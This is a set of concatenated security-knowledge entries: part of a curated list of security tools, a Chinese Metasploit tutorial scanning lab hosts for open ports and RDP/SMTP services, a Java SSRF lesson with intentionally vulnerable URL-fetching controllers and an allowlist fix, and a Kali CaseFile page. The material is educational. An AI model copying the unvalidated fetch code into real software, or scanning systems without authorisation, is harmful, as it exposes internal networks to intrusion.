WAF to Envoy Proxy. ### Scanning / Pentesting - [Spyse](https://spyse.com/) - Spyse is an OSINT search engine that provides fresh data about the entire web. All the data is stored in its own DB for instant access and interconnected with each other for flexible search. Provided data: IPv4 hosts, sub/domains/whois, ports/banners/protocols, technologies, OS, AS, wide SSL/TLS DB and more. - [sqlmap](http://sqlmap.org/) - sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. - [ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) - The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. - [OWASP Testing Checklist v4](https://www.owasp.org/index.php/Testing_Checklist) - List of some controls to test during a web vulnerability assessment. Markdown version may be found [here](https://github.com/amocrenco/owasp-testing-checklist-v4-markdown/blob/master/README.md). - [w3af](http://w3af.org/) - w3af is a Web Application Attack and Audit Framework. The project’s goal is to create a framework to help you secure your web applications by finding and exploiting all web application vulnerabilities. - [Recon-ng](https://github.com/lanmaster53/recon-ng) - Recon-ng is a full-featured Web Reconnaissance framework written in Python. Recon-ng has a look and feel similar to the Metasploit Framework. - [PTF](https://github.com/trustedsec/ptf) - The Penetration Testers Framework (PTF) is a way for modular support for up-to-date tools. - [Infection Monkey](https://github.com/guardicore/monkey) - A semi automatic pen testing tool for mapping/pen-testing networks. Simulates a human attacker. - [ACSTIS](https://github.com/tijme/angularjs-csti-scanner) - ACSTIS helps you to scan certain web applications for AngularJS Client-Side Template Injection (sometimes referred to as CSTI, sandbox escape or sandbox bypass). It supports scanning a single request but also crawling the entire web application for the AngularJS CSTI vulnerability. - [padding-oracle-attacker](https://github.com/KishanBagaria/padding-oracle-attacker) - padding-oracle-attacker is a CLI tool and library to execute padding oracle attacks (which decrypts data encrypted in CBC mode) easily, with support for concurrent network requests and an elegant UI. - [is-website-vulnerable](https://github.com/lirantal/is-website-vulnerable) - finds publicly known security vulnerabilities in a website's frontend JavaScript libraries. - [PhpSploit](https://github.com/nil0x42/phpsploit) - Full-featured C2 framework which silently persists on webserver via evil PHP oneliner. Built for stealth persistence, with many privilege-escalation & post-exploitation features. - [Keyscope](https://github.com/SpectralOps/keyscope) - Keyscope is an extensible key and secret validation for checking active secrets against multiple SaaS vendors built in Rust - [Cyclops](https://github.com/v8blink/Chromium-based-XSS-Taint-Tracking) - The Cyclops is a web browser with XSS detection feature, it is chromium-based xss detection that used to find the flows from a source to a sink. - [Scanmycode CE (Community Edition)](https://github.com/marcinguy/scanmycode-ce) - Code Scanning/SAST/Static Analysis/Linting using many tools/Scanners with One Report. Currently supports: PHP, Java, Scala, Python, Ruby, Javascript, GO, Secret Scanning, Dependency Confusion, Trojan Source, Open Source and Proprietary Checks (total ca. 1000 checks) - [recon](https://github.com/rusty-ferris-club/recon) - a fast Rust based CLI that uses SQL to query over files, code, or malware with content classification and processing for security experts ### Runtime Application Self-Protection - [Sqreen](https://www.sqreen.io/) - Sqreen is a Runtime Application Self-Protection (RASP) solution for software teams. An in-app agent instruments and monitors the app. Suspicious user activities are reported and attacks are blocked at runtime without code modification or traffic redirection. - [OpenRASP](https://github.com/baidu/openrasp) - An open source RASP solution actively maintained by Baidu Inc. With context-aware detection algorithm the project achieved nearly no false positives. And less than 3% performance reduction is observed under heavy server load. ### Development - [API Security in Action](https://www.manning.com/books/api-security-in-action) - Book covering API security including secure development, token-based authentication, JSON Web Tokens, OAuth 2, and Macaroons. (early access, published continuously, final release summer 2020) - [Secure by Design](https://www.manning.com/books/secure-by-design?a_aid=danbjson&a_bid=0b3fac80) - Book that identifies design patterns and coding styles that make lots of security vulnerabilities less likely. (early access, published continuously, final release fall 2017) - [Understanding API Security](https://www.manning.com/books/understanding-api-security) - Free eBook sampler that gives some context for how API security works in the real world by showing how APIs are put together and how the OAuth protocol can be used to protect them. - [OAuth 2 in Action](https://www.manning.com/books/oauth-2-in-action) - Book that teaches you practical use and deployment of OAuth 2 from the perspectives of a client, an authorization server, and a resource server. - [OWASP ZAP Node API](https://github.com/zaproxy/zap-api-nodejs) - Leverage the OWASP Zed Attack Proxy (ZAP) within your NodeJS applications with this official API. - [GuardRails](https://github.com/apps/guardrails) - A GitHub App that provides security feedback in Pull Requests. - [Bearer](https://github.com/Bearer/bearer) - Scan code for security risks and vulnerabilities leading to sensitive data exposures. - [Checkov](https://github.com/bridgecrewio/checkov/) - A static analysis tool for infrastucture as code (Terraform). - [TFSec](https://github.com/tfsec/tfsec/) - A static analysis tool for infrastucture as code (Terraform). - [KICS](https://github.com/Checkmarx/kics) - Scans IaC projects for security vulnerabilities, compliance issues, and infrastructure misconfiguration. Currently working with Terraform projects, Kubernetes manifests, Dockerfiles, AWS CloudFormation Templates, and Ansible playbooks. - [Insider CLI](https://github.com/insidersec/insider) - A open source Static Application Security Testing tool (SAST) written in GoLang for Java (Maven and Android), Kotlin (Android), Swift (iOS), .NET Full Framework, C# and Javascript (Node.js). - [Full Stack Python Security](https://www.manning.com/books/full-stack-python-security) - A comprehensive look at cybersecurity for Python developers - [Making Sense of Cyber Security](https://www.manning.com/books/making-sense-of-cyber-security) - A jargon-free, practical guide to the key concepts, terminology, and technologies of cybersecurity perfect for anyone planning or implementing a security strategy. (early access, published continuously, final release early 2022) - [Security Checklist by OWASP](https://owasp.org/www-project-application-security-verification-standard/) - A checklist by OWASP for testing web applications based on assurance level. Covers multiple topics like Architecture, IAM, Sanitization, Cryptography and Secure Configuration. ## Exploits & Payloads - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - A list of useful payloads and bypass for Web Application Security and Pentest/CTF ## Red Team Infrastructure Deployment - [Redcloud](https://github.com/khast3x/Redcloud) - A automated Red Team Infrastructure deployement using Docker. - [Axiom](https://github.com/pry0cc/axiom) -Axiom is a dynamic infrastructure framework to efficiently work with multi-cloud environments, build and deploy repeatable infrastructure focussed on offensive and defensive security. ## Blue Team Infrastructure Deployment - [MutableSecurity](https://github.com/MutableSecurity/mutablesecurity) - CLI program for automating the setup, configuration, and use of cybersecurity solutions. ## Usability - [Usable Security Course](https://pt.coursera.org/learn/usable-security) - Usable Security course at coursera. Quite good for those looking for how security and usability intersects. ## Big Data - [data_hacking](https://github.com/ClickSecurity/data_hacking) - Examples of using IPython, Pandas, and Scikit Learn to get the most out of your security data. - [hadoop-pcap](https://github.com/RIPE-NCC/hadoop-pcap) - Hadoop library to read packet capture (PCAP) files. - [Workbench](http://workbench.readthedocs.org/) - A scalable python framework for security research and development teams. - [OpenSOC](https://github.com/OpenSOC/opensoc) - OpenSOC integrates a variety of open source big data technologies in order to offer a centralized tool for security monitoring and analysis. - [Apache Metron (incubating)](https://github.com/apache/incubator-metron) - Metron integrates a variety of open source big data technologies in order to offer a centralized tool for security monitoring and analysis. - [Apache Spot (incubating)](https://github.com/apache/incubator-spot) - Apache Spot is open source software for leveraging insights from flow and packet analysis. - [binarypig](https://github.com/endgameinc/binarypig) - Scalable Binary Data Extraction in Hadoop. Malware Processing and Analytics over Pig, Exploration through Django, Twitter Bootstrap, and Elasticsearch. - [Matano](https://github.com/matanolabs/matano) - Open source serverless security lake platform on AWS that lets you ingest, store, and analyze petabytes of security data into an Apache Iceberg data lake and run realtime Python detections as code. - [VAST](https://github.com/tenzir/vast) - Open source security data pipeline engine for structured event data, supporting high-volume telemetry ingestion, compaction, and retrieval; purpose-built for security content execution, guided threat hunting, and large-scale investigation. ## DevOps - [Securing DevOps](https://manning.com/books/securing-devops) - A book on Security techniques for DevOps that reviews state of the art practices used in securing web applications and their infrastructure. - [ansible-os-hardening](https://github.com/dev-sec/ansible-os-hardening) - Ansible role for OS hardening - [bunkerized-nginx](https://github.com/bunkerity/bunkerized-nginx) - nginx Docker image secure by default - [Trivy](https://github.com/aquasecurity/trivy) - A simple and comprehensive vulnerability scanner for containers and other artifacts, suitable for CI. - [Preflight](https://github.com/spectralops/preflight) - helps you verify scripts and executables to mitigate supply chain attacks in your CI and other systems. - [Teller](https://github.com/spectralops/teller) - a secrets management tool for devops and developers - manage secrets across multiple vaults and keystores from a single place. - [cve-ape](https://github.com/baalmor/cve-ape) - A non-intrusive CVE scanner for embedding in test and CI environments that can scan package lists and individual packages for existing CVEs via locally stored CVE database. Can also be used as an offline CVE scanner for e.g. OT/ICS. - [Selefra](https://github.com/selefra/selefra) - An open-source policy-as-code software that provides analytics for multi-cloud and SaaS. ## Terminal * [shellfirm](https://github.com/kaplanelad/shellfirm) - It is a handy utility to help avoid running dangerous commands with an extra approval step. You will immediately get a small prompt challenge that will double verify your action when risky patterns are detected. * [shellclear](https://github.com/rusty-ferris-club/shellclear) - It helps you to Secure your shell history commands by finding sensitive commands in your all history commands and allowing you to clean them. ## Operating Systems ### Privacy & Security - [Qubes OS](https://www.qubes-os.org/) - Qubes OS is a free and open-source security-oriented operating system meant for single-user desktop computing. - [Whonix](https://www.whonix.org) - Operating System designed for anonymity. - [Tails OS](https://tails.boum.org/) - Tails is a portable operating system that protects against surveillance and censorship. ### Online resources - [Security related Operating Systems @ Rawsec](https://inventory.raw.pm/operating_systems.html) - Complete list of security related operating systems - [Best Linux Penetration Testing Distributions @ CyberPunk](https://www.cyberpunk.rs/category/pentest-linux-distros) - Description of main penetration testing distributions - [Security @ Distrowatch](http://distrowatch.com/search.php?category=Security) - Website dedicated to talking about, reviewing and keeping up to date with open source operating systems - [Hardening Windows 10](https://www.hardenwindows10forsecurity.com/) - Guide for hardening Windows 10 ## Datastores - [databunker](https://databunker.org/) - Databunker is an address book on steroids for storing personal data. GDPR and encryption are out of the box. - [acra](https://github.com/cossacklabs/acra) - Database security suite: proxy for data protection with transparent "on the fly" data encryption, data masking and tokenization, SQL firewall (SQL injections prevention), intrusion detection system. - [blackbox](https://github.com/StackExchange/blackbox) - Safely store secrets in a VCS repo using GPG - [confidant](https://github.com/lyft/confidant) - Stores secrets in AWS DynamoDB, encrypted at rest and integrates with IAM - [dotgpg](https://github.com/ConradIrwin/dotgpg) - A tool for backing up and versioning your production secrets or shared passwords securely and easily. - [redoctober](https://github.com/cloudflare/redoctober) - Server for two-man rule style file encryption and decryption. - [aws-vault](https://github.com/99designs/aws-vault) - Store AWS credentials in the OSX Keychain or an encrypted file - [credstash](https://github.com/fugue/credstash) - Store secrets using AWS KMS and DynamoDB - [chamber](https://github.com/segmentio/chamber) - Store secrets using AWS KMS and SSM Parameter Store - [Safe](https://github.com/starkandwayne/safe) - A Vault CLI that makes reading from and writing to the Vault easier to do. - [Sops](https://github.com/mozilla/sops) - An editor of encrypted files that supports YAML, JSON and BINARY formats and encrypts with AWS KMS and PGP. - [passbolt](https://www.passbolt.com/) - The password manager your team was waiting for. Free, open source, extensible, based on OpenPGP. - [passpie](https://github.com/marcwebbie/passpie) - Multiplatform command-line password manager - [Vault](https://www.vaultproject.io/) - An encrypted datastore secure enough to hold environment and application secrets. - [LunaSec](https://github.com/lunasec-io/lunasec) - Database for PII with automatic encryption/tokenization, sandboxed components for handling data, and centralized authorization controls. ## Fraud prevention - [FingerprintJS](https://github.com/fingerprintjs/fingerprintjs) - Identifies browser and hybrid mobile application users even when they purge data storage. Allows you to detect account takeovers, account sharing and repeated malicious activity. - [FingerprintJS Android](https://github.com/fingerprintjs/fingerprint-android) - Identifies Android application users even when they purge data storage. Allows you to detect account takeovers, account sharing and repeated malicious activity. ## EBooks - [Holistic Info-Sec for Web Developers](https://holisticinfosecforwebdevelopers.com/) - Free and downloadable book series with very broad and deep coverage of what Web Developers and DevOps Engineers need to know in order to create robust, reliable, maintainable and secure software, networks and other, that are delivered continuously, on time, with no nasty surprises - [Docker Security - Quick Reference: For DevOps Engineers](https://binarymist.io/publication/docker-security/) - A book on understanding the Docker security defaults, how to improve them (theory and practical), along with many tools and techniques. - [How to Hack Like a Pornstar](https://books2read.com/u/bWzdBx) - A step by step process for breaking into a BANK, Sparc Flow, 2017 - [How to Hack Like a Legend](https://amzn.to/2uWh1Up) - A hacker’s tale breaking into a secretive offshore company, Sparc Flow, 2018 - [How to Investigate Like a Rockstar](https://books2read.com/u/4jDWoZ) - Live a real crisis to master the secrets of forensic analysis, Sparc Flow, 2017 - [Real World Cryptography](https://www.manning.com/books/real-world-cryptography) - This early-access book teaches you applied cryptographic techniques to understand and apply security at every level of your systems and applications. - [AWS Security](https://www.manning.com/books/aws-security?utm_source=github&utm_medium=organic&utm_campaign=book_shields_aws_1_31_20) - This early-access book covers commong AWS security issues and best practices for access policies, data protection, auditing, continuous monitoring, and incident response. - [The Art of Network Penetration Testing](https://www.manning.com/books/the-art-of-network-penetration-testing) - Book that is a hands-on guide to running your own penetration test on an enterprise network. (early access, published continuously, final release December 2020) - [Spring Boot in Practice](https://www.manning.com/books/spring-boot-in-practice) - Book that is a practical guide which presents dozens of relevant scenarios in a convenient problem-solution-discussion format.. (early access, published continuously, final release fall 2021) - [Self-Sovereign Identity](https://www.manning.com/books/self-sovereign-identity) - A book about how SSI empowers us to receive digitally-signed credentials, store them in private wallets, and securely prove our online identities. (early access, published continuously, final release fall 2021) - [Data Privacy](https://www.manning.com/books/data-privacy) - A book that teaches you to implement technical privacy solutions and tools at scale. (early access, published continuously, final release January 2022) - [Cyber Security Career Guide](https://www.manning.com/books/cyber-security-career-guide) - Kickstart a career in cyber security by learning how to adapt your existing technical and non-technical skills. (early access, published continuously, final release Summer 2022) - [Secret Key Cryptography](https://www.manning.com/books/secret-key-cryptography) - A book about cryptographic techniques and Secret Key methods. (early access, published continuously, final release Summer 2022) - [The Security Engineer Handbook](https://securityhandbook.io/) - A short read that discusses the dos and dont's of working in a security team, and the many tricks and tips that can help you in your day-to-day as a security engineer. - [Cyber Threat Hunting](https://www.manning.com/books/cyber-threat-hunting) - Practical guide to cyber threat hunting. - [Edge Computing Technology and Applications](https://www.manning.com/books/edge-computing-technology-and-applications) - A book about the business and technical foundation you need to create your edge computing strategy. - [Spring Security in Action, Second Edition](https://www.manning.com/books/spring-security-in-action-second-edition) - A book about designing and developing Spring applications that are secure right from the start. - [Azure Security](https://www.manning.com/books/azure-security-2) - A practical guide to the native security services of Microsoft Azure. ## Other Awesome Lists ### Other Security Awesome Lists - [Android Security Awesome](https://github.com/ashishb/android-security-awesome) - A collection of android security related resources. - [Awesome ARM Exploitation](https://github.com/HenryHoggard/awesome-arm-exploitation) - A curated list of ARM exploitation resources. - [Awesome CTF](https://github.com/apsdehal/awesome-ctf) - A curated list of CTF frameworks, libraries, resources and software. - [Awesome Cyber Skills](https://github.com/joe-shenouda/awesome-cyber-skills) - A curated list of hacking environments where you can train your cyber skills legally and safely. - [Awesome Personal Security](https://github.com/Lissy93/personal-security-checklist) - A curated list of digital security and privacy tips, with links to further resources. - [Awesome Hacking](https://github.com/carpedm20/awesome-hacking) - A curated list of awesome Hacking tutorials, tools and resources. - [Awesome Honeypots](https://github.com/paralax/awesome-honeypots) - An awesome list of honeypot resources. - [Awesome Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) - A curated list of awesome malware analysis tools and resources. - [Awesome Security Newsletters](https://github.com/TalEliyahu/awesome-security-newsletters) - A curated list of awesome newsletters to keep up to date on security news via e-mail. - [Awesome PCAP Tools](https://github.com/caesar0301/awesome-pcaptools) - A collection of tools developed by other researchers in the Computer Science area to process network traces. - [Awesome Pentest](https://github.com/enaqx/awesome-pentest) - A collection of awesome penetration testing resources, tools and other shiny things. - [Awesome Privacy](https://github.com/lissy93/awesome-privacy) - A curated list of privacy-respecting software and services. - [Awesome Linux Containers](https://github.com/Friz-zy/awesome-linux-containers) - A curated list of awesome Linux Containers frameworks, libraries and software. - [Awesome Incident Response](https://github.com/meirwah/awesome-incident-response) - A curated list of resources for incident response. - [Awesome Web Hacking](https://github.com/infoslack/awesome-web-hacking) - This list is for anyone wishing to learn about web application security but do not have a starting point. - [Awesome Electron.js Hacking](https://github.com/doyensec/awesome-electronjs-hacking) - A curated list of awesome resources about Electron.js (in)security - [Awesome Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) - A curated list of threat intelligence resources. - [Awesome Threat Modeling](https://github.com/redshiftzero/awesome-threat-modeling) - A curated list of Threat Modeling resources. - [Awesome Pentest Cheat Sheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets) - Collection of the cheat sheets useful for pentesting - [Awesome Industrial Control System Security](https://github.com/mpesen/awesome-industrial-control-system-security) - A curated list of resources related to Industrial Control System (ICS) security. - [Awesome YARA](https://github.com/InQuest/awesome-yara) - A curated list of awesome YARA rules, tools, and people. - [Awesome Threat Detection and Hunting](https://github.com/0x4D31/awesome-threat-detection) - A curated list of awesome threat detection and hunting resources. - [Awesome Container Security](https://github.com/kai5263499/container-security-awesome) - A curated list of awesome resources related to container building and runtime security - [Awesome Crypto Papers](https://github.com/pFarb/awesome-crypto-papers) - A curated list of cryptography papers, articles, tutorials and howtos. - [Awesome Shodan Search Queries](https://github.com/jakejarvis/awesome-shodan-queries) - A collection of interesting, funny, and depressing search queries to plug into Shodan.io. - [Awesome Censys Queries](https://github.com/thehappydinoa/awesome-censys-queries) - A collection of fascinating and bizarre Censys Search Queries. - [Awesome Anti Forensics](https://github.com/remiflavien1/awesome-anti-forensic) - A collection of awesome tools used to counter forensics activities. - [Awesome Security Talks & Videos](https://github.com/PaulSec/awesome-sec-talks) - A curated list of awesome security talks, organized by year and then conference. - [Awesome Bluetooth Security](https://github.com/engn33r/awesome-bluetooth-security) - A curated list of Bluetooth security resources. - [Awesome WebSocket Security](https://github.com/PalindromeLabs/awesome-websocket-security) - A curated list of WebSocket security resources. - [Security Acronyms](https://github.com/cloudsecurelab/security-acronyms) - A curated list of security related acronyms and concepts - [Awesome SOAR](https://github.com/correlatedsecurity/Awesome-SOAR) - A curated Cyber "Security Orchestration, Automation and Response (SOAR)" resources list. - [Awesome Security Hardening](https://github.com/decalage2/awesome-security-hardening) - A collection of awesome security hardening guides, best practices, checklists, benchmarks, tools and other resources. ### Other Common Awesome Lists Other amazingly awesome lists: - [awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness) - awesome-* or *-awesome lists. - [lists](https://github.com/jnv/lists) - The definitive list of (awesome) lists curated on GitHub. - [Movies For Hacker](https://github.com/k4m4/movies-for-hackers) - A curated list of movies every hacker & cyberpunk must watch. - [Awesome Self-Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted) - [Awesome Analytics](https://github.com/0xnr/awesome-analytics) - [Awesome Sysadmin](https://github.com/awesome-foss/awesome-sysadmin) ## [Contributing](contributing.md) Your contributions are always welcome!
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 **攻击机:** 192.168.1.5 Debian **靶机:** 192.168.1.2 Windows 7 192.168.1.115 Windows 2003 192.168.1.119 Windows 2003 **第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/discovery/arp_sweep * auxiliary/scanner/discovery/udp_sweep * auxiliary/scanner/ftp/ftp_version * auxiliary/scanner/http/http_version * auxiliary/scanner/smb/smb_version **第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/ssh/ssh_version * auxiliary/scanner/telnet/telnet_version * auxiliary/scanner/discovery/udp_probe * auxiliary/scanner/dns/dns_amp * auxiliary/scanner/mysql/mysql_version **第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/netbios/nbname * auxiliary/scanner/http/title * auxiliary/scanner/db2/db2_version * auxiliary/scanner/portscan/ack * auxiliary/scanner/portscan/tcp **第四季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/portscan/syn * auxiliary/scanner/portscan/ftpbounce * auxiliary/scanner/portscan/xmas * auxiliary/scanner/rdp/rdp_scanner * auxiliary/scanner/smtp/smtp_version ### 十六:基于auxiliary/scanner/portscan/syn发现内网存活主机 ```bash msf auxiliary(scanner/portscan/syn) > show options Module options (auxiliary/scanner/portscan/syn): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in millisecond s INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds. PORTS 445 yes Ports to scan (e.g. 22‐25,80,110‐900) RHOSTS 192.168.1.115 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 50 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(scanner/portscan/syn) > exploit [+] TCP OPEN 192.168.1.115:445 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/6ce14da5f1aa14dad81aaf7cf11364d2.jpg) ### 十七:基于auxiliary/scanner/portscan/ftpbounce发现内网存活主机 ```bash msf auxiliary(scanner/portscan/ftpbounce) > show options Module options (auxiliary/scanner/portscan/ftpbounce): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BOUNCEHOST 192.168.1.119 yes FTP relay host BOUNCEPORT 21 yes FTP relay port DELAY 0 yes The delay between connections, per thread, in millisecond s FTPPASS mozilla@example.com no The password for the specified usernam e FTPUSER anonymous no The username to authenticate as JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds. PORTS 22‐25 yes Ports to scan (e.g. 22‐25,80,110‐900) RHOSTS 192.168.1.119 yes The target address range or CIDR identifier THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/portscan/ftpbounce) > exploit [+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:22 [+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:23 [+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:24 [+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:25 [*] 192.168.1.119:21 ‐ Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/e68f4b46ae29ee41050a69a3a97020ab.jpg) ### 十八:基于auxiliary/scanner/portscan/xmas发现内网存活主机 ```bash msf auxiliary(scanner/portscan/xmas) > show options Module options (auxiliary/scanner/portscan/xmas): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in millisecond s INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds. PORTS 80 yes Ports to scan (e.g. 22‐25,80,110‐900) RHOSTS 192.168.1.119 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 50 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(scanner/portscan/xmas) > exploit ``` ![](media/d548820b5bbd229f26983633a4f94d79.jpg) ### 十九:基于auxiliary/scanner/rdp/rdp_scanner发现内网存活主机 ```bash msf auxiliary(scanner/rdp/rdp_scanner) > show options Module options (auxiliary/scanner/rdp/rdp_scanner): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ CredSSP true yes Whether or not to request CredSSP EarlyUser false yes Whether to support Earlier User Authorization Result PDU RHOSTS 192.168.1.2,115,119 yes The target address range or CIDR identifier RPORT 3389 yes The target port (TCP) THREADS 50 yes The number of concurrent threads TLS true yes Wheter or not request TLS security msf auxiliary(scanner/rdp/rdp_scanner) > exploit [*] Scanned 1 of 3 hosts (33% complete) [+] 192.168.1.115:3389 ‐ Identified RDP [*] Scanned 2 of 3 hosts (66% complete) [+] 192.168.1.119:3389 ‐ Identified RDP [*] Scanned 3 of 3 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/57f3682a0f79fd561d1ad1f575943562.jpg) ### 二十:基于auxiliary/scanner/smtp/smtp_version发现内网存活主机 ```bash msf auxiliary(scanner/smtp/smtp_version) > show options Module options (auxiliary/scanner/smtp/smtp_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.5 yes The target address range or CIDR identifier RPORT 25 yes The target port (TCP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/smtp/smtp_version) > exploit ``` ![](media/e564a63c9072add70448d54da802de43.jpg) > Micropoor
sec-knowleage
# SSRF ## openStream {% code title="SsrfController.java" %} ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.net.URL; @RestController public class SsrfController { @GetMapping("/ssrf/openStream") public String example(@RequestParam String url) throws Exception { URL urlObj = new URL(url); InputStream is = urlObj.openStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); StringBuilder response = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { response.append(line); } reader.close(); return response.toString(); } } ``` {% endcode %} 输入没有开放的端口会报错,`http://127.0.0.1:8080/ssrf/openStream?url=http://127.0.0.1:9999` ![image-20230313150836809](../../.gitbook/assets/image-20230313150836809.png) 可以跳转和查看端口 ![image-20230313151005294](../../.gitbook/assets/image-20230313151005294.png) ![image-20230313150949239](../../.gitbook/assets/image-20230313150949239.png) 我们可以使用Spring的`RestTemplate`类来进行HTTP请求,而不是直接使用`openStream()`方法。`RestTemplate`类可以帮助我们更方便地进行HTTP请求,并提供了更多的安全性选项。 ## openConnection {% code title="SsrfController.java" %} ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; @RestController public class SsrfController { @GetMapping("/ssrf/openConnection") public String example(@RequestParam String url) throws Exception { URL urlObj = new URL(url); HttpURLConnection connection = (HttpURLConnection) urlObj.openConnection(); connection.setRequestMethod("GET"); connection.setRequestProperty("User-Agent", "Mozilla/5.0"); int responseCode = connection.getResponseCode(); BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); StringBuilder response = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { response.append(line); } reader.close(); return response.toString(); } } ``` {% endcode %} ## 修复代码 {% code title="修复代码" %} ```java package com.example.controller; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.client.RestTemplate; import java.net.URL; import java.util.Arrays; @RestController public class SsrfController { @GetMapping("/ssrf/openStream") public String example(@RequestParam String url) throws Exception { String[] allowedHosts = {"example.com", "example.net"}; URL urlObj = new URL(url); if (!Arrays.asList(allowedHosts).contains(urlObj.getHost())) { throw new Exception("Host not allowed."); } if (!urlObj.getProtocol().equals("http") && !urlObj.getProtocol().equals("https")) { throw new Exception("Protocol not allowed."); } RestTemplate restTemplate = new RestTemplate(); ResponseEntity<String> responseEntity = restTemplate.getForEntity(url, String.class); String response = responseEntity.getBody(); return response; } } ``` {% endcode %}
sec-knowleage
--- title: CaseFile categories: Information Gathering tags: [information gathering,casefile,recon,kali linux,reporting] date: 2020-10-12 22:14:00 --- CaseFile 包描述 ------------- CaseFile 是 Maltego 的弟弟。它本质上与 Maltego 是一样的图形应用程序,但不具备运行转换的能力。CaseFile 让你能够快速添加、链接和分析数据。该应用程序针对的是 "离线 "分析师这一独特的市场,这些人的主要信息来源不是从开源情报方面获得的,也不是可以通过程序查询的。我们把这些人看作是在 "实地 "工作的调查员和分析师,他们从团队中的其他人那里获取情报,并建立起他们调查的信息地图。 CaseFile也可以简单地作为一个免费的图形查看器,用于查看Maltego中构建的图形。 工具来源: http://paterva.com/web6/products/casefile.php [CaseFile主页][1] | [Kali CaseFile Repo仓库][2] - 作者:Paterva - 证书:Commercial ## CaseFile 是做什么的? CaseFile 的诞生是由于许多 Maltego 用户使用该工具来使用他们从调查中获得的离线数据建立图形。这些用户并没有使用 Maltego 中的转换功能,只是需要 Maltego 图形功能的灵活性和性能。 - CaseFile是一个可视化智能应用程序,可用于确定数百种不同类型信息之间的关系和现实世界的联系。 - CaseFile可用于绘制信息片段之间的关系--即使它们相隔多个等级,也能看到隐藏的联系。 - CaseFile 捆绑了许多不同类型的实体,这些实体在调查中常用,允许你快速有效地行动。CaseFile 还能够添加自定义实体类型,允许你将产品扩展到你自己的数据集。 CaseFile 工具包中包含的工具 --------------------- ### CaseFile——离线情报工具 CaseFile为你提供了快速添加、链接和分析数据的能力,它具有与Maltego相同的图形灵活性和性能,而无需使用变换。 CaseFile用法示例 ----------------- ```shell [/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][vc_column_text] root@kali:~# casefile ``` ![casefile.png][3] [1]: http://paterva.com/ [2]: https://gitlab.com/kalilinux/packages/casefile [3]: http://tools.kali.org/wp-content/uploads/2014/02/casefile.png
